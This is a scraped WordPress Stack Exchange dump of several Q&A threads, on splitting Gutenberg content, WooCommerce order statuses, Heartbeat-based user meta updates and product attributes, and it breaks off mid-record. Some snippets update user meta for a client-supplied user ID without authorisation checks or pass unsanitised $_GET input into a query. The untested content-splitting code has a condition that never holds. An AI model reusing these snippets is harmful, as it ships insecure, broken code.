"text": "<p>You could add some kind of separator (a separator block?) in Gutenberg, then filter <code>the_content()</code> to check for the separator to display each half, by setting a switch on the first half and detecting it for the second:</p>\n\n<pre><code>add_filter('the_content', 'content_splitter');\nfunction content_splitter($content) {\n $separator = \"<!-- wp:core/separator\";\n $pos = strpos($content, $separator);\n if ($pos !== false) {\n global $split_content;\n if (!isset($split_content) && $split_content) {\n $content = substr($content, 0, $pos);\n $split_content = true;\n } else {\n $part_b = substr($content, $pos, strlen($content));\n $pos = strpos($part_b, \" -->\") + 4;\n $content = substr($part_b, $pos, strlen($part_b));\n }\n }\n return $content;\n}\n</code></pre>\n\n<p>So the first content position would display everything before the separator and then you could call <code>the_content()</code> again in the second (full width) position and it would display everything after the separator. </p>\n\n<p>Obviously with this method you would need to ensure there is only one separator block in the content, and if you have separator blocks in other content it would cut off the second half, so you might need to add extra conditions to prevent that (detect post type or page?) </p>\n\n<p>That said any other block type could be used for a similar purpose by changing the separator string in the code . (Note: I haven't tested this code or the particular separator string <code><!-- wp:core/separator</code>, this is simply a code example.)</p>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334114",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/153404/"
] | I am currently at a dilemma where I have a design where there is a sidebar to the left taking up 50% of the width of the screen(this sidebar area is pulling data automatically based on the post, so title, date, author, etc) and content to the right Taking up 50% of width of the screen.
In the right content section is where I have `the_content();` This is grabbing all content and every block in the Gutenberg editor for this post.
The issue I am running into then is I want blocks that are added to the Gutenberg editor that are below the main content of the post (the heading and paragraph text) to extend full width instead of staying in the 50% width of the main content next to the sidebar.
Before Gutenberg I was able to accomplish this by having `the_content();` (which was just a WYSIWYG editor) and I would then create flexible content blocks with ACF that I could select where I wanted them to reside based on where I put the code snippet for it in my theme. I am now building blocks using ACF blocks, which are Gutenberg-esque blocks built with ACF, that reside with everything else in `the_content();`. Doing it this way I don't have the option to set custom blocks somewhere else in my theme files.
So now I am trying to find a solution on how to make this work. One of the ideas is if there is a way to add a section Gutenberg editor to a post. So When a user would create a post it would give them two Gutenberg editors where each could have blocks added to them, but I would have control where each content area would live in my theme files (example I would have the default `the_content();` snippet for the default Gutenberg block and something like `the_content_two();` for a secondary Gutenberg editor.
Is this something that is possible to do? And if it is not possible to do is there an alternative approach I could take to fix my dilemma of having a half and half sidebar and content to having a full width block underneath that content? | You could add some kind of separator (a separator block?) in Gutenberg, then filter `the_content()` to check for the separator to display each half, by setting a switch on the first half and detecting it for the second:
```
add_filter('the_content', 'content_splitter');
function content_splitter($content) {
$separator = "<!-- wp:core/separator";
$pos = strpos($content, $separator);
if ($pos !== false) {
global $split_content;
if (!isset($split_content) && $split_content) {
$content = substr($content, 0, $pos);
$split_content = true;
} else {
$part_b = substr($content, $pos, strlen($content));
$pos = strpos($part_b, " -->") + 4;
$content = substr($part_b, $pos, strlen($part_b));
}
}
return $content;
}
```
So the first content position would display everything before the separator and then you could call `the_content()` again in the second (full width) position and it would display everything after the separator.
Obviously with this method you would need to ensure there is only one separator block in the content, and if you have separator blocks in other content it would cut off the second half, so you might need to add extra conditions to prevent that (detect post type or page?)
That said any other block type could be used for a similar purpose by changing the separator string in the code . (Note: I haven't tested this code or the particular separator string `<!-- wp:core/separator`, this is simply a code example.) |
334,115 | <p>As I can see from WooCommerce documentation, <code>WC_Order_Query</code> allows <strong>only one single order status</strong> to be passed as query parameter. Has anyone find some workaround to allow querying several order statuses in the same query?</p>
<p>Let's say I want to query orders with "completed" AND "refunded" status. </p>
<p>How can this be done via standard <code>WC_Order_Query</code> class?</p>
<p>Example from doc: </p>
<pre><code>// Get orders on hold.
$args = array(
'status' => 'on-hold',
);
$orders = wc_get_orders( $args );
</code></pre>
<p>Link to <a href="https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query#wc_order_query-methods" rel="nofollow noreferrer"><code>wc_order_query()</code> and <code>WC_Order_Query</code></a> WooCommerce documentation</p>
| [
{
"answer_id": 334158,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 4,
"selected": true,
"text": "<p>The documentation on <a href=\"https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query\" rel=\"noreferrer\"><code>wc_get_orders</code> and <code>WC_Order_Query</code></a> is poor… Now regarding the order status in a <code>WC_Order_Query</code>, <strong>you can pass an array of order statuses</strong>:</p>\n\n<pre><code>// Display \"completed\" orders count\n$statuses = ['completed'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n\n// Display \"refunded\" orders count\n$statuses = ['refunded'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n\n// Display \"completed\" and \"refunded\" orders count\n$statuses = ['completed','refunded'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n</code></pre>\n\n<p>Tested and works.</p>\n"
},
{
"answer_id": 351266,
"author": "Shehroz Ahmed",
"author_id": 76880,
"author_profile": "https://wordpress.stackexchange.com/users/76880",
"pm_score": 1,
"selected": false,
"text": "<p>Instead of passing 'status' parameter, you can use 'post_status' parameter as an array like this:</p>\n\n<pre><code>// Get orders on hold and process\n$args = array(\n 'post_status' => array('wc-processing','on-hold')\n);\n\n$orders = wc_get_orders( $args );\n</code></pre>\n"
},
{
"answer_id": 377905,
"author": "hasmai",
"author_id": 197296,
"author_profile": "https://wordpress.stackexchange.com/users/197296",
"pm_score": 0,
"selected": false,
"text": "<p>It took me a while to understand for wordpress + woocommerce but this works perfect :)</p>\n<pre><code>if (!function_exists('custom_filter_for_shop_order')) {\n\n function custom_filter_for_shop_order($query)\n {\n global $typenow;\n\n if (\n is_admin() && $query->is_main_query() && in_array($typenow, wc_get_order_types('order-meta-boxes'), true)\n && isset($_GET['filter_status']) && is_array($_GET['filter_status'])\n ) {\n\n $query->set('post_status', $_GET['filter_status']);\n\n remove_filter('pre_get_posts', 'custom_filter_for_shop_order');\n }\n }\n add_filter('pre_get_posts', 'custom_filter_for_shop_order');\n}\n</code></pre>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334115",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/91458/"
] | As I can see from WooCommerce documentation, `WC_Order_Query` allows **only one single order status** to be passed as query parameter. Has anyone find some workaround to allow querying several order statuses in the same query?
Let's say I want to query orders with "completed" AND "refunded" status.
How can this be done via standard `WC_Order_Query` class?
Example from doc:
```
// Get orders on hold.
$args = array(
'status' => 'on-hold',
);
$orders = wc_get_orders( $args );
```
Link to [`wc_order_query()` and `WC_Order_Query`](https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query#wc_order_query-methods) WooCommerce documentation | The documentation on [`wc_get_orders` and `WC_Order_Query`](https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query) is poor… Now regarding the order status in a `WC_Order_Query`, **you can pass an array of order statuses**:
```
// Display "completed" orders count
$statuses = ['completed'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
// Display "refunded" orders count
$statuses = ['refunded'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
// Display "completed" and "refunded" orders count
$statuses = ['completed','refunded'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
```
Tested and works. |
334,123 | <p>I'm building a car listing site which needs custom schema added to each vehicle. </p>
<p>The schema doesn't comply with the standards sets, this is the example I've been sent: </p>
<p><a href="https://www.carandclassic.co.uk/feed/example.json" rel="nofollow noreferrer">https://www.carandclassic.co.uk/feed/example.json</a></p>
<p>I would like to find a way to generate the fields and output to JSON. I've used a custom field and added the data above which works well but isn't user friendly.</p>
| [
{
"answer_id": 334158,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 4,
"selected": true,
"text": "<p>The documentation on <a href=\"https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query\" rel=\"noreferrer\"><code>wc_get_orders</code> and <code>WC_Order_Query</code></a> is poor… Now regarding the order status in a <code>WC_Order_Query</code>, <strong>you can pass an array of order statuses</strong>:</p>\n\n<pre><code>// Display \"completed\" orders count\n$statuses = ['completed'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n\n// Display \"refunded\" orders count\n$statuses = ['refunded'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n\n// Display \"completed\" and \"refunded\" orders count\n$statuses = ['completed','refunded'];\n$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );\necho '<p>' . sprintf( __('Count of \"%s\" orders: %s'), implode('\", \"', $statuses), count($orders) ) . '</p>';\n</code></pre>\n\n<p>Tested and works.</p>\n"
},
{
"answer_id": 351266,
"author": "Shehroz Ahmed",
"author_id": 76880,
"author_profile": "https://wordpress.stackexchange.com/users/76880",
"pm_score": 1,
"selected": false,
"text": "<p>Instead of passing 'status' parameter, you can use 'post_status' parameter as an array like this:</p>\n\n<pre><code>// Get orders on hold and process\n$args = array(\n 'post_status' => array('wc-processing','on-hold')\n);\n\n$orders = wc_get_orders( $args );\n</code></pre>\n"
},
{
"answer_id": 377905,
"author": "hasmai",
"author_id": 197296,
"author_profile": "https://wordpress.stackexchange.com/users/197296",
"pm_score": 0,
"selected": false,
"text": "<p>It took me a while to understand for wordpress + woocommerce but this works perfect :)</p>\n<pre><code>if (!function_exists('custom_filter_for_shop_order')) {\n\n function custom_filter_for_shop_order($query)\n {\n global $typenow;\n\n if (\n is_admin() && $query->is_main_query() && in_array($typenow, wc_get_order_types('order-meta-boxes'), true)\n && isset($_GET['filter_status']) && is_array($_GET['filter_status'])\n ) {\n\n $query->set('post_status', $_GET['filter_status']);\n\n remove_filter('pre_get_posts', 'custom_filter_for_shop_order');\n }\n }\n add_filter('pre_get_posts', 'custom_filter_for_shop_order');\n}\n</code></pre>\n"
}
] | 2019/04/11 | [
"https://wordpress.stackexchange.com/questions/334123",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/128178/"
] | I'm building a car listing site which needs custom schema added to each vehicle.
The schema doesn't comply with the standards sets, this is the example I've been sent:
<https://www.carandclassic.co.uk/feed/example.json>
I would like to find a way to generate the fields and output to JSON. I've used a custom field and added the data above which works well but isn't user friendly. | The documentation on [`wc_get_orders` and `WC_Order_Query`](https://github.com/woocommerce/woocommerce/wiki/wc_get_orders-and-WC_Order_Query) is poor… Now regarding the order status in a `WC_Order_Query`, **you can pass an array of order statuses**:
```
// Display "completed" orders count
$statuses = ['completed'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
// Display "refunded" orders count
$statuses = ['refunded'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
// Display "completed" and "refunded" orders count
$statuses = ['completed','refunded'];
$orders = wc_get_orders( ['limit' => -1, 'status' => $statuses] );
echo '<p>' . sprintf( __('Count of "%s" orders: %s'), implode('", "', $statuses), count($orders) ) . '</p>';
```
Tested and works. |
334,178 | <p>I have a form that <code>$_POST</code>s an input value, and user's ID that saves the data to the database:</p>
<pre><code>// frontend form
<form id="form">
<input type="radio" name="location" id="name1" value="1">
<label for="name1">Label 1</label>
<input type="radio" name="location" id="name2" value="2">
<label for="name2">Label 2</label>
<input type="radio" name="location" id="name3" value="3">
<label for="name3">Label 3</label>
<input type="hidden" name="userid" value="{userid}">
</form>
// footer script
<script>
$(function() {
$( "#form" ).change(function(a) {
a.preventDefault();
var formdata = new FormData($(this)[0]);
$.ajax({
method: "POST",
data: formdata,
contentType: false,
processData: false
});
});
});
</script>
// validation snippet
<?php
$location = isset( $_POST['location'] ) ? $_POST['location'] : '';
$userID = isset( $_POST['userid'] ) ? $_POST['userid'] : '';
update_user_meta( $userID, 'location_current', $location );
?>
</code></pre>
<p>When the users sets the radio location from their desktop, it send the form to the server, and saves it.</p>
<p>Each user also has a display (tablet) that has no <code>input</code> but echoes out the location value.</p>
<p>I currently have the tablet refreshing every 5 minutes, but wanted it to be more of a push with WP heartbeat.</p>
<p>I tried using this example: <a href="https://gist.github.com/strangerstudios/5888123" rel="nofollow noreferrer">https://gist.github.com/strangerstudios/5888123</a></p>
<p>But wasnt sure how to have the value of the <code>data['client'] = 'marco';</code> be <code>data['client'] = '<?= $_POST['location']; ?>';</code> each time as it is printed once and not refreshed once the page is loaded or the location changed.</p>
| [
{
"answer_id": 335067,
"author": "Ashish Yadav",
"author_id": 120394,
"author_profile": "https://wordpress.stackexchange.com/users/120394",
"pm_score": 0,
"selected": false,
"text": "<p>To send value using HTTP methods, the page must submit data. Only page refresh will not work. Your page must send a post request with the data location and you are using ajax to send form data.</p>\n\n<p>In the API <code>data['client'] = 'marco';</code> you can use your own data object send from your ajax request.</p>\n\n<pre><code>data['client'] = your formdata;\n</code></pre>\n\n<p>or you can use your PHP code same as you mentioned above:</p>\n\n<pre><code>data['client'] = '<?php echo $_POST['location']; ?>'; // make sure you validate data first.\n</code></pre>\n\n<p>If this doesn't help, please show the full implementation of API and usage of your ajax data.</p>\n"
},
{
"answer_id": 335081,
"author": "Antti Koskinen",
"author_id": 144392,
"author_profile": "https://wordpress.stackexchange.com/users/144392",
"pm_score": 3,
"selected": true,
"text": "<p><strong>Saving data</strong></p>\n\n<p>Based on <a href=\"https://developer.wordpress.org/plugins/javascript/heartbeat-api/\" rel=\"nofollow noreferrer\">Heartbeat API</a>, you can add custom data to the sent heartbeat on <code>heartbeat-send</code> event in js. This would be used instead of the ajax function you have in your code example.</p>\n\n<pre><code>jQuery( document ).on( 'heartbeat-send', function ( event, data ) {\n // Grab the required form data\n data.location = jQuery('input[name=\"location\"]:checked').val();\n data.userid = jQuery('input[name=\"userid\"]').val();\n});\n</code></pre>\n\n<p>You can then use the data in PHP with <a href=\"https://developer.wordpress.org/reference/hooks/heartbeat_received/\" rel=\"nofollow noreferrer\"><code>hearbeat_recieved</code></a> filter. There's also the <a href=\"https://developer.wordpress.org/reference/hooks/heartbeat_nopriv_received/\" rel=\"nofollow noreferrer\"><code>heartbeat_nopriv_received</code></a> filter for no-privilege environments.</p>\n\n<pre><code>add_filter( 'heartbeat_received', 'myplugin_save_location_on_heartbeat', 10, 2 );\nfunction myplugin_save_location_on_heartbeat( $response, $data ) {\n // data required\n if ( empty( $data['location'] ) || empty( $data['userid'] ) ) {\n return $response;\n }\n // validate\n if ( ! is_numeric( $data['location'] ) || ! is_numeric( $data['userid'] ) ) {\n return $response;\n }\n // sanitize\n $location = absint( $data['location'] );\n $userID = absint( $data['userid'] );\n // update\n update_user_meta( $userID, 'location_current', $location );\n // optional response\n $send_data_back = true;\n if ( $send_data_back ) {\n $response['location'] = $location;\n $response['userid'] = $userID;\n }\n // send response\n return $response;\n}\n</code></pre>\n\n<p>You can access the data (response from <code>hearbeat_recieved</code>) again on <code>heartbeat-tick</code> event in js,</p>\n\n<pre><code>jQuery( document ).on( 'heartbeat-tick', function ( event, data ) {\n // Check for our data, and use it.\n if ( ! data.location || ! data.userid ) {\n return;\n }\n // use the response as needed\n console.log(\"location: \" + data.location);\n console.log(\"user: \" + data.userid);\n});\n</code></pre>\n\n<p><strong>Get data</strong></p>\n\n<p>With couple of tweaks you can get just the location data instead of saving it. </p>\n\n<p>First send user id with <code>heartbeat-send</code> in js,</p>\n\n<pre><code>jQuery( document ).on( 'heartbeat-send', function ( event, data ) {\n data.userid = jQuery('input[name=\"userid\"]').val();\n});\n</code></pre>\n\n<p>Then respond with current location user meta in PHP on <code>hearbeat_recieved</code>,</p>\n\n<pre><code>add_filter( 'heartbeat_received', 'myplugin_get_location_on_heartbeat', 10, 2 );\nfunction myplugin_get_location_on_heartbeat( $response, $data ) {\n // data required\n if ( empty( $data['userid'] ) ) {\n return $response;\n }\n // validate\n if ( ! is_numeric( $data['userid'] ) ) {\n return $response;\n }\n // sanitize\n $userID = absint( $data['userid'] );\n // update\n $location = get_user_meta( $userID, 'location_current', true );\n // send response\n return $response['location'] = $location;\n}\n</code></pre>\n\n<p><strong>EDIT 1:</strong> I think you could also use <a href=\"https://developer.wordpress.org/reference/functions/get_current_user_id/\" rel=\"nofollow noreferrer\"><code>get_current_user_id()</code></a> inside the php response function to get the user id, if you don't want to or can't send it in js on <code>heartbeat-send</code> event.</p>\n\n<p>Last, update your view with the recieved data on <code>heartbeat-tick</code> in js,</p>\n\n<pre><code>jQuery( document ).on( 'heartbeat-tick', function ( event, data ) {\n // Check for our data, and use it.\n if ( ! data.location ) {\n return;\n }\n // if using radio buttons\n jQuery('input[name=\"location\"][value='\"+data.location+\"']').prop('checked', true);\n // if you want to show result in somewhere else\n jQuery('#location-output-element').text(data.location);\n});\n</code></pre>\n\n<p>I hope this helps and answers your question.</p>\n"
}
] | 2019/04/12 | [
"https://wordpress.stackexchange.com/questions/334178",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/17411/"
] | I have a form that `$_POST`s an input value, and user's ID that saves the data to the database:
```
// frontend form
<form id="form">
<input type="radio" name="location" id="name1" value="1">
<label for="name1">Label 1</label>
<input type="radio" name="location" id="name2" value="2">
<label for="name2">Label 2</label>
<input type="radio" name="location" id="name3" value="3">
<label for="name3">Label 3</label>
<input type="hidden" name="userid" value="{userid}">
</form>
// footer script
<script>
$(function() {
$( "#form" ).change(function(a) {
a.preventDefault();
var formdata = new FormData($(this)[0]);
$.ajax({
method: "POST",
data: formdata,
contentType: false,
processData: false
});
});
});
</script>
// validation snippet
<?php
$location = isset( $_POST['location'] ) ? $_POST['location'] : '';
$userID = isset( $_POST['userid'] ) ? $_POST['userid'] : '';
update_user_meta( $userID, 'location_current', $location );
?>
```
When the users sets the radio location from their desktop, it send the form to the server, and saves it.
Each user also has a display (tablet) that has no `input` but echoes out the location value.
I currently have the tablet refreshing every 5 minutes, but wanted it to be more of a push with WP heartbeat.
I tried using this example: <https://gist.github.com/strangerstudios/5888123>
But wasnt sure how to have the value of the `data['client'] = 'marco';` be `data['client'] = '<?= $_POST['location']; ?>';` each time as it is printed once and not refreshed once the page is loaded or the location changed. | **Saving data**
Based on [Heartbeat API](https://developer.wordpress.org/plugins/javascript/heartbeat-api/), you can add custom data to the sent heartbeat on `heartbeat-send` event in js. This would be used instead of the ajax function you have in your code example.
```
jQuery( document ).on( 'heartbeat-send', function ( event, data ) {
// Grab the required form data
data.location = jQuery('input[name="location"]:checked').val();
data.userid = jQuery('input[name="userid"]').val();
});
```
You can then use the data in PHP with [`hearbeat_recieved`](https://developer.wordpress.org/reference/hooks/heartbeat_received/) filter. There's also the [`heartbeat_nopriv_received`](https://developer.wordpress.org/reference/hooks/heartbeat_nopriv_received/) filter for no-privilege environments.
```
add_filter( 'heartbeat_received', 'myplugin_save_location_on_heartbeat', 10, 2 );
function myplugin_save_location_on_heartbeat( $response, $data ) {
// data required
if ( empty( $data['location'] ) || empty( $data['userid'] ) ) {
return $response;
}
// validate
if ( ! is_numeric( $data['location'] ) || ! is_numeric( $data['userid'] ) ) {
return $response;
}
// sanitize
$location = absint( $data['location'] );
$userID = absint( $data['userid'] );
// update
update_user_meta( $userID, 'location_current', $location );
// optional response
$send_data_back = true;
if ( $send_data_back ) {
$response['location'] = $location;
$response['userid'] = $userID;
}
// send response
return $response;
}
```
You can access the data (response from `hearbeat_recieved`) again on `heartbeat-tick` event in js,
```
jQuery( document ).on( 'heartbeat-tick', function ( event, data ) {
// Check for our data, and use it.
if ( ! data.location || ! data.userid ) {
return;
}
// use the response as needed
console.log("location: " + data.location);
console.log("user: " + data.userid);
});
```
**Get data**
With couple of tweaks you can get just the location data instead of saving it.
First send user id with `heartbeat-send` in js,
```
jQuery( document ).on( 'heartbeat-send', function ( event, data ) {
data.userid = jQuery('input[name="userid"]').val();
});
```
Then respond with current location user meta in PHP on `hearbeat_recieved`,
```
add_filter( 'heartbeat_received', 'myplugin_get_location_on_heartbeat', 10, 2 );
function myplugin_get_location_on_heartbeat( $response, $data ) {
// data required
if ( empty( $data['userid'] ) ) {
return $response;
}
// validate
if ( ! is_numeric( $data['userid'] ) ) {
return $response;
}
// sanitize
$userID = absint( $data['userid'] );
// update
$location = get_user_meta( $userID, 'location_current', true );
// send response
return $response['location'] = $location;
}
```
**EDIT 1:** I think you could also use [`get_current_user_id()`](https://developer.wordpress.org/reference/functions/get_current_user_id/) inside the php response function to get the user id, if you don't want to or can't send it in js on `heartbeat-send` event.
Last, update your view with the recieved data on `heartbeat-tick` in js,
```
jQuery( document ).on( 'heartbeat-tick', function ( event, data ) {
// Check for our data, and use it.
if ( ! data.location ) {
return;
}
// if using radio buttons
jQuery('input[name="location"][value='"+data.location+"']').prop('checked', true);
// if you want to show result in somewhere else
jQuery('#location-output-element').text(data.location);
});
```
I hope this helps and answers your question. |
334,225 | <p>I need to get product attributes from product in WooCommerce, type product Simple product, some product can be as dropdown, but much options as radio button. </p>
<p>How I can do this? How it possible? </p>
<p>With variations I have no problem, but for simple I can't get them.</p>
| [
{
"answer_id": 334227,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 3,
"selected": false,
"text": "<p>You will use the <code>WC_Product</code> method <code>get_attributes()</code> that returns an array like:</p>\n\n<pre><code>global $product;\n\nif ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Raw output\necho '<pre>'; print_r( $product_attributes ); echo '</pre>';\n</code></pre>\n\n<p>It should work <em>(for real product attributes)</em>.</p>\n\n<hr>\n\n<p>Now if you use some third party plugins, like product add-Ons for example, they add some custom fields to the product, but they are not product attributes…</p>\n"
},
{
"answer_id": 397318,
"author": "Nathan",
"author_id": 11952,
"author_profile": "https://wordpress.stackexchange.com/users/11952",
"pm_score": 2,
"selected": true,
"text": "<p>Building on Loic's answer for an attribute of <code>pa_manufacturer</code>:</p>\n<pre><code>if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Output\n$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term\n$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID\necho '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name\n</code></pre>\n"
}
] | 2019/04/12 | [
"https://wordpress.stackexchange.com/questions/334225",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/144341/"
] | I need to get product attributes from product in WooCommerce, type product Simple product, some product can be as dropdown, but much options as radio button.
How I can do this? How it possible?
With variations I have no problem, but for simple I can't get them. | Building on Loic's answer for an attribute of `pa_manufacturer`:
```
if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {
$product = wc_get_product( get_the_id() ); // Get the WC_Product Object
}
$product_attributes = $product->get_attributes(); // Get the product attributes
// Output
$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term
$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID
echo '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name
``` |
334,246 | <p>I tried to edit original <code>the_post_navigation</code>, inside the loop, so I could get the <code>rel="nofollow"</code> inside of it </p>
<pre><code>the_post_navigation( array(
'mid_size' => 3,
'next_text' => __( 'Next frase', 'textdomain' ),
) );
</code></pre>
<p>I also tried to use a customized one, but that does not work.</p>
<pre><code><div class="next-timeline">
<?php next_post_link( '%link', __( 'Próxima frase', 'adoro-frases-final' ) ); ?>
<a href="<?php echo $permalink; ?>" rel="nofollow"><?php echo $next_post->post_title; ?></a>
</div>
</code></pre>
<p>I also inserted a script to the footer, so it could insert what I want into the link, but it creates another <code>div.a</code> instead.</p>
<pre><code>$( document ).ready(function() {
$('div.next-timeline > a#lnk-nflw').attr('rel','nofollow')
});
</code></pre>
<p>Any ideas?
Thanks!</p>
| [
{
"answer_id": 334227,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 3,
"selected": false,
"text": "<p>You will use the <code>WC_Product</code> method <code>get_attributes()</code> that returns an array like:</p>\n\n<pre><code>global $product;\n\nif ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Raw output\necho '<pre>'; print_r( $product_attributes ); echo '</pre>';\n</code></pre>\n\n<p>It should work <em>(for real product attributes)</em>.</p>\n\n<hr>\n\n<p>Now if you use some third party plugins, like product add-Ons for example, they add some custom fields to the product, but they are not product attributes…</p>\n"
},
{
"answer_id": 397318,
"author": "Nathan",
"author_id": 11952,
"author_profile": "https://wordpress.stackexchange.com/users/11952",
"pm_score": 2,
"selected": true,
"text": "<p>Building on Loic's answer for an attribute of <code>pa_manufacturer</code>:</p>\n<pre><code>if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Output\n$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term\n$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID\necho '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name\n</code></pre>\n"
}
] | 2019/04/12 | [
"https://wordpress.stackexchange.com/questions/334246",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/162089/"
] | I tried to edit original `the_post_navigation`, inside the loop, so I could get the `rel="nofollow"` inside of it
```
the_post_navigation( array(
'mid_size' => 3,
'next_text' => __( 'Next frase', 'textdomain' ),
) );
```
I also tried to use a customized one, but that does not work.
```
<div class="next-timeline">
<?php next_post_link( '%link', __( 'Próxima frase', 'adoro-frases-final' ) ); ?>
<a href="<?php echo $permalink; ?>" rel="nofollow"><?php echo $next_post->post_title; ?></a>
</div>
```
I also inserted a script to the footer, so it could insert what I want into the link, but it creates another `div.a` instead.
```
$( document ).ready(function() {
$('div.next-timeline > a#lnk-nflw').attr('rel','nofollow')
});
```
Any ideas?
Thanks! | Building on Loic's answer for an attribute of `pa_manufacturer`:
```
if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {
$product = wc_get_product( get_the_id() ); // Get the WC_Product Object
}
$product_attributes = $product->get_attributes(); // Get the product attributes
// Output
$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term
$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID
echo '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name
``` |
334,250 | <p>I am trying to create a function whicht has different shortcodes as output. I have the post-type => womos and the field => personenzahl. The field has the values 1 up to 7. Now I need a shortcode for every value.
This is my function for value => '1':</p>
<pre><code>function modell_nach_personenzahl() {
$args = array(
'post_type' => 'womos',
'order' => 'ASC',
'orderby' => 'personen',
'field' => $atts['personen'],
'numberposts' => -1,
'meta_query' => array (
array (
'key' => 'personen',
'compare' => '>=',
'value' => '1'
),
)
);
$myquery = new WP_Query($args);
while($myquery->have_posts()) : $myquery->the_post();
$bild = get_field('header-bild', get_the_ID()); ?>
<div class="modell-liste">
<a href="<?php echo get_permalink(get_the_ID()); ?>"><img src="<?php echo($bild); ?> "> </a><br>
<strong>Modell: </strong><a href="<?php echo get_permalink(get_the_ID()); ?>"><?php echo get_post_meta(get_the_ID(),'modell', true);?></a> <br>
<strong>max. Personen: </strong><?php echo get_post_meta(get_the_ID(),'personen', true);?> <br><br>
</div>
<?php endwhile;
wp_reset_postdata();
</code></pre>
<p>Now I need a shortcode for value => '1', for value => '2', ...value => '7'.
Is ist possible do do this with the one function above? If yes, how can I achieve it? </p>
| [
{
"answer_id": 334227,
"author": "LoicTheAztec",
"author_id": 79855,
"author_profile": "https://wordpress.stackexchange.com/users/79855",
"pm_score": 3,
"selected": false,
